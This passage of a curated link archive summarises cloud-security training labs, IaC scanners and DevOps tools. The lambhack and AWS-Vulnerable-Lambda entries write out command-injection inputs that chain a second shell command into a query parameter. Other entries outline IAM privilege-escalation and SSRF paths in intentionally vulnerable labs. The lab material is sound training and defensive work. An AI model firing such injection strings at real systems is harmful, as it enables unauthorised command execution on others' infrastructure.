    • Red-team mode: Can ingest API keys and tokens found by PEASS tools, since attackers rarely have read access to whole configurations.
    • Docs: Each /intel module has its own README, and the main README links HackTricks pages on abusing each platform.

    Takeaway: Worth running against a GCP plus GitHub plus GKE estate to find cross-platform escalation paths. For AWS you need a different tool, despite the title’s “across clouds”.

  • awesome-security-hardening: Security Hardening Guides, Tools and Resources
    summary

    TL;DR: An awesome-list by decalage2 collecting security hardening guides, best practices and audit tools across operating systems, network gear, services and cloud.

    • OS guides: RHEL, CentOS, SUSE, Ubuntu, Windows and macOS.
    • Network and virtualization: Switches, routers, IPv6, firewalls and VMware.
    • Containers: Docker and Kubernetes hardening references.
    • Services: SSH, TLS/SSL, Apache, Tomcat, Jetty, IIS, mail, FTP, databases, Active Directory, ADFS, Kerberos, LDAP, DNS, NTP, NFS and CUPS.
    • Other areas: Authentication and passwords; hardware, CPU, BIOS and UEFI; cloud.
    • Audit tools: Lynis, testssl.sh, ssh-audit, CHIPSEC, ANSSI chipsec-check and Docker Bench for Security, among others.

    Takeaway: A starting index when you need the authoritative hardening guide (CIS, ANSSI, vendor) for a specific system. Pair the guide with the matching audit tool listed there.

17.02.2022

Free Labs To Learn Cloud Pentesting:

  • flaws.cloud: AWS Security Challenges
    summary

    TL;DR: flaws.cloud is Scott Piper’s (Summit Route) free browser-based challenge that teaches common AWS mistakes and gotchas through a series of levels.

    • Focus: AWS-specific issues only; the site says there is no SQL injection, XSS, buffer overflows or similar.
    • Structure: Everything runs from a single AWS account, and each challenge is a sub-domain of flaws.cloud. Level 1 is a hint about S3 “buckets”.
    • Hints: A series of hints teaches how to find the needed information. You can follow the hints alone to reach the next level without running commands.
    • Defensive angle: Each level opens by explaining how to avoid the problem from the previous level.
    • Credits: Thanks Andres Riancho, Ken Johnson, Nicolas Gregoire and others for ideas; feedback goes to scott@summitroute.com.
    • Sequel: flaws2.cloud adds attacker and defender paths.

    Takeaway: A short, free way to build intuition for how AWS misconfigurations are found. It works well as onboarding for anyone new to cloud security.

  • flaws2.cloud: AWS Security Challenges for Attackers and Defenders
    summary

    TL;DR: flaws2.cloud is Scott Piper’s follow-up to flaws.cloud. It teaches AWS security through two paths: an Attacker path and a Defender path that investigates the same attack.

    • Attacker path: Exploit misconfigurations in serverless (Lambda) and containers (ECS Fargate).
    • Defender path: Work as an incident responder for the same app, using logs of a previous successful attack.
    • Skills taught: Analysing logs with jq, and instructions for setting up Athena in your own environment.
    • Hands-on optional: As with the original, you can click through hints instead of playing.
    • Suggested order: The author recommends playing the Attacker side first, then the Defender side.
    • Scope: AWS-specific issues only, with no XSS or buffer overflows.

    Takeaway: The Defender path is the rarer part. Use it to practise reconstructing an AWS incident from logs, not just exploitation.

  • Serverless-Goat: OWASP Deliberately Vulnerable Serverless Application
    summary

    TL;DR: OWASP ServerlessGoat is a deliberately vulnerable AWS Lambda app, a .doc-to-text converter, that demonstrates the weaknesses in PureSec’s Serverless Security Top 10 (SAS-01 to SAS-10).

    • App: Takes a URL to an MS-Word .doc file and returns its text, which serves as the attack surface.
    • Deployment: One-click from the AWS Serverless Application Repository; the CloudFormation stack output WebsiteURL gives the app address.
    • Injection (SAS-01): Event-data injection leading to OS command injection.
    • Config and permissions (SAS-03/04): Publicly open S3 bucket discoverable from the URL, and over-privileged function roles that leak a DynamoDB table and allow S3 tampering.
    • Other weaknesses: Poor monitoring and logging (SAS-05), vulnerable dependencies (SAS-06), application-layer DoS (SAS-08) and verbose errors (SAS-10).
    • Walkthrough: LESSONS.md holds the lesson walkthrough, marked as under development.

    Takeaway: A quick lab to show developers that Lambda apps still get classic injection plus cloud-specific IAM over-permissioning. Deploy it only in a throwaway account.

  • AWS S3 CTF Challenge
    summary

    TL;DR: The author (n0j) shares solutions and setup instructions for four short AWS S3 misconfiguration challenges written for the AppSec USA 2017 and CactusCon 2017 CTFs.

    • Challenge 1: Public object in a named bucket; solve by understanding S3 URL styles or with aws s3 ls s3://<bucket>.
    • Challenge 2: Object readable by “any authenticated AWS user” via a canned ACL; any valid AWS credentials in awscli retrieve it.
    • Challenge 3: Bucket policy that allows public s3:ListBucket but restricts object reads to EC2 IP ranges in us-west-2, so you must fetch it from an EC2 instance there.
    • Challenge 4: Pre-signed URLs; rebuild the URL from bucket, object, access key, signature and expiry in Unix time. Setup uses aws s3 presign --expires-in.
    • Format: Each prompt is a fake email, followed by the solution and the setup steps.
    • Policy note: Recommends checking AWS’s Acceptable Use Policy for penetration testing before running similar events.

    Takeaway: A compact lesson in S3’s access layers (ACLs, bucket policies, IP conditions, pre-signed URLs). The setup steps are reusable if you want to run the same challenges internally.

  • AWS-Vulnerable-Lambda: Vulnerable AWS Lambda Application
    summary

    TL;DR: A small, deliberately vulnerable Flask application deployed to AWS Lambda with Zappa, for exploring Lambda-specific attack ideas.

    • Vulnerability: Command injection via a query parameter, used as https://url/dev/?ping=ls.
    • Deployment: pip install -r requirements.txt in a virtualenv, set a unique S3 bucket and region in zappa_settings, then bash deploy.sh.
    • Prerequisites: An IAM user with Lambda, S3 and API Gateway permissions in ~/.aws/credentials.
    • Context covered: How Lambda sandboxes work, warm containers, and the idea of escalating from function code into wider AWS resources.
    • Further reading: Links Rich Jones’ 33C3 talk “Gone in 60 milliseconds” and the Black Hat 2017 talk on hacking serverless runtimes.

    Takeaway: Useful as a minimal demo of command injection on Lambda and container reuse. It is a small, older project, so use it for a quick lab rather than a full course.

  • lambhack: Vulnerable Serverless Lambda Application
    summary

    TL;DR: lambhack, by wickett, is a vulnerable serverless Lambda application written in Go. Its first release only demonstrates arbitrary OS command execution through the query string.

    • Exploit example: curl "https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/c?args=uname+-a;+sleep+1".
    • Container reuse: Shows files written to /tmp persisting between invocations, which demonstrates warm container reuse.
    • Setup: go get github.com/wickett/lambhack, with AWS credentials in a limited-permission profile (suggested name sparta).
    • Background: Accompanies the author’s Velocity talk “Serverless Security: Are You Ready for the Future?”.
    • Known gaps: The README lists no UI, no XSS, injection or auth attacks yet, and asks for contributions.

    Takeaway: A tiny demo showing that Lambda does not remove classic RCE and that /tmp state survives between calls. For broader labs, DVSA or ServerlessGoat cover more ground.

  • iam-vulnerable: Vulnerable-by-Design AWS IAM Privilege Escalation Playground
    summary

    TL;DR: IAM Vulnerable, by Bishop Fox, uses Terraform to deploy a vulnerable-by-design AWS IAM privilege escalation playground with 31 supported privesc paths.

    • Scale: Deploys over 250 IAM resources into an AWS account you choose; use a dedicated account with no production data.
    • Cost: The default configuration costs nothing. Optional non-free modules add resources such as those needed for ssm:StartSession paths, and can be toggled on demand.
    • Learning path: Read Spencer Gietzen’s 21 original privesc methods (Rhino), practise using Gerben Kleijn’s Bishop Fox guide, then run tools against it.
    • Tool testing: Suggested targets for Cloudsplaining, AWSPX, Principal Mapper and similar scanners.
    • Successor: The README points to CloudFoxable, a gamified CTF-style sandbox by the same author.
    • Deploy: Standard terraform init and terraform apply with your AWS credentials.

    Takeaway: A good way to benchmark IAM analysis tools or train on escalation paths without building the policies yourself. Run terraform destroy when done.

  • cloudgoat: Vulnerable-by-Design AWS Deployment Tool
    summary

    TL;DR: CloudGoat is Rhino Security Labs’ “vulnerable by design” cloud deployment tool that spins up CTF-style scenarios for practising cloud penetration testing.

    • Scenarios: About 30 standalone scenarios graded Easy to Hard, e.g. iam_privesc_by_rollback, cloud_breach_s3, ec2_ssrf, codebuild_secrets, rce_web_app, ecs_takeover, detection_evasion, vulnerable_cognito.
    • Newer content: The current README also lists AI-related scenarios such as bedrock_agent_hijacking and agentcore_identity_confusion, plus Azure support.
    • Install and use: pipx install cloudgoat, cloudgoat config aws, then cloudgoat create <scenario> and destroy.
    • Requirements: Linux or macOS, Python 3.9+, Terraform >= 1.5.0, AWS CLI, Azure CLI and jq.
    • Warnings: Never deploy into production. CloudGoat only removes resources it created, so delete anything you add manually.
    • Design goals: Curated scenarios, good documentation, modular start/reset/shutdown and community expandability.

    Takeaway: Still a maintained standard for hands-on AWS attack practice, and it now covers Azure and AI services. Run it in an isolated account and use the IP whitelist config.

  • attacking-cloudgoat2: Attacking CloudGoat 2 Walkthrough
    summary

    TL;DR: Appsecco’s free, step-by-step walkthrough book for six CloudGoat 2.0 AWS scenarios, written in Markdown for mdBook.

    • Scenarios covered: IAM privesc by rollback, cloud_breach_s3, IAM privesc by attachment, EC2 SSRF, RCE web app and CodeBuild secrets.
    • Audience: Penetration testers learning AWS attacks, and developers, sysadmins and cloud engineers who want to understand the AWS attack surface.
    • Local hosting: cargo install mdbook, then mdbook serve in documentation/ and browse to localhost:3000.
    • License: Book content under CC-BY-SA 4.0; code and commands under MIT.
    • Version caveat: Written for CloudGoat 2.0. Current CloudGoat has many more scenarios, and details may have drifted.

    Takeaway: Use it as a reference when stuck on the original CloudGoat scenarios. Try each scenario yourself first.

  • dvca: Damn Vulnerable Cloud Application
    summary

    TL;DR: Damn Vulnerable Cloud Application is a demo project for AWS privilege escalation, with a write-up on going from SSRF to global account administrator.

    • Scope: AWS-centric. The frontend does not depend on the backend technology, so other backends could be added.
    • Write-up: Usage is explained in the author’s Poka Techblog post “Privilege Escalation in the Cloud: From SSRF to Global Account Administrator”.
    • Prerequisites: An AWS-managed domain, its Route 53 hosted zone ID, and ACM certificates (root and wildcard).
    • Deployment: make all DOMAIN_NAME=... ROOT_CERTIFICATE=... CERTIFICATE=... HOSTED_ZONE=..., or modular targets such as prerequisites, frontend and fargate.
    • Warning: The README says not to deploy it unless you know very well what you are doing.

    Takeaway: Read the linked write-up for the SSRF-to-admin chain. Deploying the lab needs a real domain and certificates, which is more setup than most alternatives.

  • DVSA: Damn Vulnerable Serverless Application
    summary

    TL;DR: OWASP DVSA (Damn Vulnerable Serverless Application) is a deliberately vulnerable AWS serverless app for practising common serverless vulnerabilities and testing security tools.

    • Purpose: Lets security professionals test skills and tools legally, and helps developers understand how serverless apps get attacked.
    • Vulnerabilities: Includes both documented and intentionally undocumented issues.
    • Deployment: From the AWS Serverless Application Repository; the CloudFormation outputs give the DVSA website URL.
    • Local dev: Client build needs Node 8.16.2 and python2. The backend uses AWS SAM CLI, managed with ./dvsa.sh commands such as client-build, client-connect --stack and package-template.
    • Warning: Do not install it in a production account.

    Takeaway: One of the more complete serverless security labs. Deploy it in a sandbox account and use it to test SAST or runtime tools against Lambda-based apps.

  • sadcloud: Stand Up Insecure AWS Infrastructure with Terraform
    summary

    TL;DR: sadcloud, from NCC Group, spins up intentionally insecure AWS infrastructure with Terraform: about 84 misconfigurations across 22 services, initially drawn from ScoutSuite’s checks.

    • Use cases: Training, and evaluating AWS security tools, both built-in and third-party.
    • Cost: A 24-hour run cost about $10, mostly Redshift ($6/day) and EKS ($2.40/day).
    • Sample audits: Published reports from ScoutSuite, Prowler, CloudMapper, CloudSploit and tfsec run against the full corpus.
    • Setup: Generate keys with ssh-keygen -t rsa -b 4096 -f data/ssh_keys/terraform_rsa, then use Terraform from sadcloud/sadcloud, toggling modules per misconfiguration.
    • Warning: Use a new, dedicated AWS account, never production.

    Takeaway: Handy for comparing CSPM or IaC scanners on a known set of misconfigurations. Disable the Redshift and EKS modules if you want it cheap.

  • Breaking and Pwning Apps and Servers on AWS and Azure: Free Training Courseware and Labs
    summary

    TL;DR: Appsecco open-sourced its complete 3-day hands-on training “Breaking and Pwning Apps and Servers on AWS and Azure”, including courseware and lab setup.

    • Why released: During COVID-19 lockdowns, Appsecco released it to the community rather than let it go out of date.
    • Content: Scenarios from their pentesting, vulnerability assessment and OSINT engagements: discovering, identifying and exploiting weaknesses in AWS and Azure apps and servers.
    • Repo layout: documentation (Markdown course), setup-files (to build a student VM and the cloud labs) and extras.
    • Requirements: An AWS account activated for payments and an Azure account.
    • Style: Attack-focused, with guided walkthroughs and tool coverage; the README notes it is not heavy on documentation.

    Takeaway: A free, structured course for learning cloud pentesting across AWS and Azure. Budget for lab costs and tear the resources down after each module.

Others:

  • gita: Manage Many Git Repositories with Sanity
    summary

    TL;DR: gita, by nosarthur, is a Python CLI that shows the status of many Git repos side by side and runs Git or shell commands across them from any directory.

    • Status view: gita ll lists every registered repo with branch, local/remote sync state (5 colour-coded situations), modifications and last commit message.
    • Registering repos: gita add <paths>, gita add -a <parent> to add recursively, and -b for bare repos.
    • Delegated commands: Predefined commands such as gita fetch and gita remote <repo> (defined in cmds.json); custom commands can be added.
    • Superman mode: gita super [repos|groups] <git-command>, e.g. gita super checkout master across all repos.
    • Shell mode: gita shell [repos|groups] <shell-command> runs arbitrary shell commands per repo.
    • Groups and context: gita group add ... -n <group>, and gita context <group> or gita context auto to scope operations.

    Takeaway: Handy if you juggle many repos, such as microservices or dotfiles plus infra. Group them and use gita ll and gita fetch as a morning check.

  • tf-controller: GitOps Terraform Controller for Kubernetes
    summary

    TL;DR: Weave TF-Controller is a Flux controller that reconciles Terraform resources the GitOps way. It is now renamed Tofu Controller, lives at flux-iac/tofu-controller, and supports OpenTofu and Terraform.

    • Repo moved: The weaveworks URL now redirects to github.com/flux-iac/tofu-controller; docs are at flux-iac.github.io/tofu-controller.
    • GitOps automation model: Manage resources from provisioning to enforcement, e.g. a whole EKS cluster.
    • Hybrid model: GitOps only parts of existing infrastructure, such as an existing cluster’s node group or security group.
    • State enforcement model: Use GitOps to enforce an existing tfstate without other changes.
    • Drift detection model: Only detect drift against a tfstate and decide later what to do.
    • Incremental adoption: “At your own pace”: you do not need to GitOps-ify everything at once.

    Takeaway: If you already run Flux, this lets Terraform or OpenTofu run as Kubernetes-reconciled objects, with drift detection as a low-risk first step. Point any old references at the flux-iac repo.

  • Aerides: Dynamic IaC Scanning by Deploying Terraform Against LocalStack
    summary

    TL;DR: Aerides, by Erik Steringer (NCC Group), demonstrates “dynamic” IaC scanning: deploy Terraform to LocalStack, then run API-based tools like Scout Suite and Principal Mapper against it before anything reaches real AWS.

    • Problem: Scout Suite and PMapper query AWS APIs and cannot read IaC files directly.
    • Approach: Deploy Terraform HCL for a sample “TKTK Service” (S3 buckets, VPCs and security groups, IAM users, groups and roles) into LocalStack.
    • PMapper: Supports LocalStack natively via graph create --localstack-endpoint.
    • Scout Suite: Pointed at LocalStack through a mitmproxy addon (proxy_aws_to_localstack.py) using HTTP_PROXY, HTTPS_PROXY and AWS_CA_BUNDLE.
    • Tests: Test cases check privilege escalation risks, s3:PutObject limits on low-privilege users, IAM policies using NotAction, and world-open security groups. They run in GitHub Actions on pull requests.
    • Prereqs: Python 3.8+, Terraform, LocalStack, mitmproxy and Scout Suite; tested on Ubuntu 20.04.

    Takeaway: The mitmproxy-to-LocalStack trick lets you reuse any AWS API-based auditor in CI. Use it as a pattern for catching IAM privesc paths that static IaC scanners miss.

  • aws-oidc-ci: Terraform, GitHub and AWS with OIDC
    summary

    TL;DR: A Terraform module from Marco Lancini’s utils repo that sets up OIDC identity federation between AWS and GitHub Actions or GitLab CI, so pipelines get short-lived role credentials instead of stored keys.

    • GitHub usage: allow_github = true, github_org, and github_repos entries such as "<repo>:*" or a branch-scoped "<repo>:ref_type:branch:ref:main".
    • GitLab usage: allow_gitlab = true with gitlab_repos such as "project_path:mygroup/*:ref_type:branch:ref:main".
    • Scoping: Restrict trust to specific repos and branches through the subject claim patterns.
    • Background: Points to CloudSecDocs “CI/CD Providers” for how it works.
    • References: GitHub’s OIDC announcement and hardening docs, the ScaleSec write-up, Google’s keyless auth post, and GitLab’s AWS OIDC docs and Terraform example.

    Takeaway: A small, readable starting point for removing long-lived AWS keys from CI. Always pin the trust to repo and branch rather than *.

  • kubelogin: Access Kubernetes via OIDC, e.g. Keycloak
    summary

    TL;DR: kubelogin, by int128, is a kubectl plugin (kubectl oidc-login) for Kubernetes OpenID Connect authentication. It opens a browser login with your IdP and hands the token to kubectl.

    • Mechanism: Runs as a client-go credential plugin via the kubeconfig exec section with oidc-login get-token --oidc-issuer-url=... --oidc-client-id=....
    • Install: brew install kubelogin, kubectl krew install oidc-login, choco install kubelogin, or a release binary saved as kubectl-oidc_login.
    • Flow: Run kubectl get pods; kubelogin opens the browser, you log in, and the credentials return to kubectl.
    • Setup needed: An OIDC provider (the README shows Google Identity Platform; the title example is Keycloak), an API server OIDC configuration, and a cluster role binding.
    • Docs: A setup guide in docs/setup.md covers the provider, cluster and kubeconfig steps.

    Takeaway: The standard way to give humans SSO-backed, short-lived kubectl access on self-managed clusters. Pair it with RBAC bindings on OIDC groups.

  • Announcing Grafana Incident: Smart Incident Management for Your Teams
    summary

    TL;DR: Mat Ryer (Grafana Labs) announced Grafana Incident, an incident management tool built into Grafana Cloud to cut the coordination, communication and documentation overhead of incidents.

    • Collaboration: Automatically creates online meeting spaces for each incident.
    • Roles: Assign incident roles and quickly message the people holding them.
    • Tracking: Task and TODO tracking, plus an automatically maintained timeline for postmortems.
    • Context: Embed Grafana graphs and queries, attach GitHub issues, PRs and dashboards, and get suggested related dashboards.
    • Chatbot: A command-line-style chatbot interface usable without opening a browser; more third-party integrations were planned.
    • Availability: Launched in preview for free and paid Grafana Cloud users. An update note on the page says it is now generally available at no extra cost to all Grafana Cloud users.

    Takeaway: If you already run on Grafana Cloud, it is a no-extra-cost option for incident coordination tied to your dashboards. Compare it with dedicated tools before standardising.

  • action-validator: Validate GitHub Actions YAML Files
    summary

    TL;DR: action-validator, by mpalmer, is a standalone Rust tool that lints GitHub Actions and workflow YAML against published JSON schemas and checks that paths/paths-ignore globs match real files.

    • Intended use: Git pre-commit hooks and similar local checks.
    • Schema validation: Ensures action and workflow files are well-formed according to the official JSON schemas.
    • Glob check: Flags paths or paths-ignore patterns that match no file in the repo.
    • Install: Prebuilt binaries, cargo install action-validator, asdf or mise plugins, or npm install -g @action-validator/core @action-validator/cli.
    • Node use: The @action-validator/core package can be used inside Node.js apps.
    • Funding: The author is experimenting with a “code fund” model to pay for new features.

    Takeaway: Cheap to add as a pre-commit hook so broken workflow syntax is caught before a push. It checks structure only; it is not a security linter.

  • amazon-ecr-credential-helper: Docker Credential Helper for Amazon ECR
    summary

    TL;DR: AWS’s Docker credential helper for Amazon ECR, which gets registry credentials from your AWS credentials automatically so you never run docker login for ECR.

    • Configure: Put docker-credential-ecr-login on PATH and set "credsStore": "ecr-login" in ~/.docker/config.json, or use credHelpers per registry, including public.ecr.aws.
    • Install: sudo dnf install -y amazon-ecr-credential-helper on AL2023, packages for AL2, macOS, Debian, Ubuntu, Arch, Alpine and Windows, mise, or go install.
    • Credentials: Uses the standard AWS chain: env vars, AWS_PROFILE, shared config and credentials files, and instance or task roles.
    • Caching: Local auth cache in ~/.ecr; control it with AWS_ECR_DISABLE_CACHE and AWS_ECR_CACHE_DIR.
    • Login calls: AWS_ECR_IGNORE_CREDS_STORAGE makes it ignore docker login/logout and report success.
    • Prereqs: Docker 1.11 or later and available AWS credentials.

    Takeaway: Use credHelpers scoped to your ECR registries on CI runners and dev machines. It removes token refresh scripts and avoids storing ECR passwords in Docker config.

  • jless: Command-Line Pager for JSON Data
    summary

    TL;DR: jless, by Paul Julius Martinez, is a Rust command-line JSON viewer meant to replace combinations of less, jq, cat and an editor for reading JSON.

    • Display: Syntax-highlighted output that omits key quotes, closing delimiters and trailing commas.
    • Navigation: Expand and collapse objects and arrays, with vim-inspired movement commands.
    • Search: Full regex-based search.
    • Platforms: macOS and Linux; Windows support is planned.
    • Install: brew install jless, pacman -S jless, cargo install jless, MacPorts, Void, NetBSD and FreeBSD packages, or release binaries.
    • Build note: Building from source on Linux needs X11 (libxcb) libraries for clipboard support.

    Takeaway: Pipe large API responses or kubectl get -o json output into jless when you want to explore structure. Keep jq for transforming the data.

  • dockly: k9s-Style Terminal UI for Docker
    summary

    TL;DR: dockly, by Liran Tal, is a Node.js terminal UI for managing Docker containers, services and images. The README calls it an “immersive terminal interface”.

    • Install: npm install -g dockly, then run dockly.
    • Connection: Connects to the local Docker daemon over the Unix socket by default.
    • Remote daemons: -H/--host, -P/--port and -T/--protocol (http, https or ssh), or -s/--socketPath.
    • Filtering: --containerFilters="name=test&status=running" limits which containers are shown.
    • Recognition: Featured in DevOps Weekly and console.dev.
    • Title note: The “k9s-style” wording is the archive’s description; the README does not reference k9s.

    Takeaway: A quick TUI for inspecting containers on a box without remembering docker flags.

  • simulator: Kubernetes Security Training Platform
    summary

    TL;DR: Simulator, by ControlPlane, creates a Kubernetes cluster in your AWS account and runs scenarios that misconfigure it, so you can practise attacking and then mitigating Kubernetes vulnerabilities.

    • Repo moved: The URL now redirects to controlplaneio/simulator. The README reflects a V2 redesign and links 2023 CNCF CTF walkthroughs.
    • Prereqs: Docker and an AWS account; authenticate with environment variables or the shared credentials file, with required IAM permissions documented.
    • Components: Simulator CLI, container images, AMIs, infrastructure code and scenario definitions.
    • Getting started: The Player Guide covers launching environments and deploying and playing scenarios.
    • Hosted option: A waitlist at kubesim.io for private scenarios and training content.

    Takeaway: A realistic, self-hosted Kubernetes CTF for platform and security teams. Expect AWS costs, and tear environments down after each session.

  • validkube: Ensure Kubernetes YAML Best Practices, Hygiene and Security
    summary

    TL;DR: ValidKube, by Komodor, is an open-source web tool that runs pasted Kubernetes YAML through several open-source checkers for validity, hygiene, security and best practices.

    • Validate: Schema checks with kubeconform.
    • Clean: Removes clutter from manifests with kubectl-neat.
    • Secure: Scans with Trivy and with Kubescape for vulnerabilities and DevOps best practices.
    • Audit: Fairwinds Polaris best-practice checks.
    • Self-hosting: The backend deploys to AWS with the Serverless framework and the frontend to Netlify, via make deploy. It needs Go 1.17+, Yarn and the CLI tools above.

    Takeaway: Handy for one-off checks of a manifest. For CI, run kubeconform, Trivy, Kubescape or Polaris directly. Avoid pasting sensitive manifests into a hosted instance.

  • A Hello World GitOps Example Walkthrough
    summary

    TL;DR: The zwischenzugs blog walks through a trivial “hello world” GitOps setup he uses to demonstrate GitOps principles, built from four GitHub repos with GKE, Terraform, GitHub Actions and FluxCD.

    • Repos: gitops-example, gitops-example-app, gitops-example-deploy and gitops-example-infra under github.com/ianmiell.
    • Separation of concerns: Three actors (Dev owns app code, Ops owns deployment, Infra owns the cluster), mirrored in the repo split. The author notes one repo could also do all of it.
    • Stack: Docker, Kubernetes, GitHub, GitHub Actions, shell, Google Kubernetes Engine and Terraform.
    • Steps: Prerequisites, fork the repos, create infrastructure, set up a Docker registry login secret and a repository access token, install and set up FluxCD, then build and run the app.
    • Prereqs: GitHub, Google Cloud and Docker registry accounts.
    • Background: Links the author’s ebook on GitOps history and a separate post on “GitOps Decisions”.

    Takeaway: Follow it end to end to see how app, deploy and infra repos hand off through CI and Flux. Then decide how much of that repo separation your team actually needs.

  • The Delivery Hero Reliability Manifesto
    summary

    (Could not fetch full text.)

    TL;DR: Delivery Hero CTO Christian Hardenberg published the company’s Reliability Manifesto (October 2021): a seven-page set of numbered, assertive rules for building reliable systems at roughly 10 million orders a day.

    • Context: Sunday-night peaks, minutes to recover before food gets cold, and growth above 1000% year-on-year in some countries. Run in a decentralized way without a common infrastructure team.
    • Meta and architecture: Rules are not bypassed silently and are reviewed twice a year. Start with a monolith; microservices must not share storage and must avoid synchronous call chains deeper than 2 services. Data mesh, managed services over self-hosted, RFCs and ADRs.
    • Delivery: Deploy every day, track deployments, deploy with a safety net, infrastructure as code, automated tests, never code alone.
    • Resilience: Service tiers, graceful degradation, timeouts, retries, circuit breakers and fallbacks; failure testing, central logging, ongoing load tests, runbooks, chaos, surviving an AZ outage, disaster recovery.
    • Culture, security, cost: Track all incidents, blameless culture, weekly operations review; edge blocking, central access control, secret storage, attack simulation; cost visible per squad, frugal logging.
    • Supporting practices: A published per-service “reliability score”, a weekly operations meeting and quarterly tech-debt tracking.
    • Source caveat: The live page is behind a bot-check challenge. This summary is based on a Wayback Machine copy.

    Takeaway: A strong template for writing your own engineering standards: short, numbered, assertive rules with a built-in review cadence. Borrow the format and the reliability-score idea.

  • The Startup Guide to Sensible Incident Management
    summary

    TL;DR: Chris Evans (incident.io, February 2022) gives early-stage startups a lightweight set of incident management defaults, essentially how incident.io ran its own incidents at the time.

    • Low threshold: Treat any interruption to normal work as an incident, even a single Sentry error or a customer report. This makes ownership clear, shares knowledge and helps prioritisation.
    • Severities: Keep just two, a higher and a lower one (they use Minor and Major); severity matters little when small.
    • Roles and logging: Do not worry about formal roles yet. Log incidents somewhere simple; a Notion DB or Google Sheet linked to a Slack channel works.
    • Running incidents: Open a fresh Slack channel or doc, say clearly whose incident it is, and post logs, errors, graphs and your thinking as you go.
    • Customers: Over-share via a status page, tweets or direct messages, since early customers tend to be forgiving.
    • After incidents: Skip lengthy post-mortems at small scale (they had run none) and read through incidents you were not involved in instead.
    • Vendor note: Explicitly partly a pitch; product details are kept to the end, with pricing of £149/month for Slack workspaces under 25 users at the time.

    Takeaway: Copy the defaults: a low threshold, two severities, a channel per incident, and narrating in the channel. Add formal roles and post-mortems only when headcount and complexity demand them.

31.01.2022

  • IaC Security Scanning: Why, Flaws, Etc.
    summary

    TL;DR: Christophe Tafani-Dereeper’s deck “Scanning Infrastructure-as-Code for security flaws” (OWASP DevSlop; March 2021, updated January 2022) covers why to scan IaC, how the open-source Terraform scanners compare, and why IaC scanning alone is not enough.

    • Baseline first: Start with high-signal checks: network exposure, trivially over-privileged *:* policies, and public resources such as writable buckets, public AMIs and shared RDS snapshots. Ship secure-default Terraform modules.
    • Code vs plan: Plan scanning catches variables, interpolations and child modules but needs AWS credentials and is slower. Per the March 2021 table, checkov and regula do both, terraform-compliance does plan only, and terrascan, tfsec and semgrep do code only.
    • Custom checks: checkov in Python (low complexity), regula and terrascan in Rego (expressive but harder), tfsec in YAML (limited), terraform-compliance as a BDD DSL.
    • CI challenges: Lack of warn vs break-the-build modes; suggests IDE extensions and scanning only git diffs.
    • Drift: terraform plan ignores unmanaged extras such as an added SG ingress rule or an attached policy. Prevent drift with locked-down prod accounts, SCPs and break-glass access; detect it with CloudTrail queries and driftctl scan.
    • Runtime scanning: A last line of defence: ScoutSuite, Prowler, CloudMapper, Cartography, Cloudsplaining, Steampipe.

    Takeaway: Treat IaC scanning, drift detection and runtime scanning as three layers. Scanning Terraform alone misses console changes and unmanaged resources. The tool comparison dates from 2021.

  • AWS Security-Focused Workshops
    summary

    TL;DR: An AWS Security Blog roundup of the new security-focused hands-on workshops AWS published in 2021, grouped by domain, with links to the older workshop catalogues.

    • Data protection: Amazon Macie data classification, KMS encryption at rest at scale, Secrets Manager with ABAC, a private CA on AWS, S3 security controls, redaction with S3 Object Lambda, Nitro Enclaves, and S3 ransomware prevention (GuardDuty for S3, Object Lock, versioning).
    • Governance and compliance: Operating securely in a multi-account environment, and building remediation workflows for compliance.
    • Identity: Integrating IAM Access Analyzer policy validation into a CloudFormation CI/CD pipeline, and a data perimeter workshop using VPC endpoint policies.
    • Network and infrastructure: Zero Trust for service-to-service workloads, securing deployment of third-party ML models with Service Catalog, and a Prowler plus QuickSight security dashboard.
    • Threat detection and IR: Security Hub integration and response, an IR plan in Jupyter notebooks, scaling threat detection and response, and building IR playbooks.
    • More: Older workshops live on AWS Workshops, AWS Security Workshops and AWS Samples.

    Takeaway: A good menu for self-paced team training. The IR playbooks and Access Analyzer CI workshops are the most directly reusable in a platform team.

  • GitOps Model for Provisioning and Bootstrapping Amazon EKS Clusters Using Crossplane and Flux
    summary

    TL;DR: Part 2 of an AWS Containers blog series. It uses Flux on a management EKS cluster to drive Crossplane, which provisions a complete new EKS cluster, then deploys workloads to it, all from Git.

    • Versions: Crossplane 1.4.1 and AWS provider package 0.17.0, the same as Part 1 (which used Argo CD).
    • What gets built: A Crossplane Composition creates the VPC, subnets, internet and NAT gateways, route tables, and an EKS cluster with a managed node group.
    • Ordering: Flux Kustomizations with dependsOn and health checks apply core Crossplane (Helm), then the AWS provider and SealedSecrets, then credentials and the configuration package, then the composite resource.
    • Remote clusters: Flux Kustomizations and HelmReleases use a kubeConfig secret reference. Crossplane’s writeConnectionSecretToRef exposes crossplane-workload-cluster-connection in flux-system.
    • Caveat noted: That secret carries the cluster creator’s credentials, which are irreversibly mapped to system:masters, more privilege than app deployment needs. The post discusses a second approach as an alternative.
    • Artifacts: A companion Git repo with scripts to install Flux, deploy Crossplane and deploy workloads.

    Takeaway: The pattern works for cluster-as-code fleets. Do not reuse the creator system:masters kubeconfig for app delivery; use a scoped identity. The Crossplane versions shown are old, so expect API changes.

  • watchexec: Run a Command Whenever a Watched Path Changes
    summary

    TL;DR: watchexec is a standalone Rust tool that watches a path and runs a command whenever files change, for running tests, linters or rebuilds automatically.

    • Examples: watchexec -e js,css,html npm run build, and watchexec -r -e py -- python server.py to restart a server.
    • Behaviour: Watches the current directory recursively and coalesces bursts of events, such as editors’ swap files, into one run.
    • Ignores: Honours .gitignore and .ignore.
    • Process handling: Uses process groups to track forking programs; passes changed paths through environment variables or STDIN.
    • Platforms and install: macOS, Linux and Windows; package managers, cargo binstall watchexec-cli, release binaries, or cargo install --locked watchexec-cli.
    • Pairs with: checkexec, just and systemfd; there is also a watchexec library for building custom tools.

    Takeaway: A language-agnostic replacement for ad-hoc entr, nodemon or xargs loops. Use -r for long-running servers and -e to limit triggers.

  • Swimm: Documentation as Code
    summary

    (Could not fetch full text.)

    TL;DR: Swimm was a “documentation as code” product that kept internal docs coupled to the code they describe and flagged or auto-synced them as the code changed. The swimm.io homepage now markets a different offering.

    • Page now shows newer content: The site currently promotes “Agentic modernization”: legacy-system application delivery, system intelligence and making codebases “agent-ready”. It no longer presents the docs-as-code product.
    • Code-coupled docs: Docs embed live code elements (snippets, tokens), diagrams and charts that track the referenced code.
    • Auto-sync: Swimm’s patented Auto-sync detects when code changes affect docs. Trivial changes such as renames or moved code can be synced automatically; meaningful ones prompt review.
    • IDE plugins: VS Code and JetBrains plugins for writing docs and showing an icon next to lines that have documentation.
    • CI check: Checks pull requests for changes that break documentation.
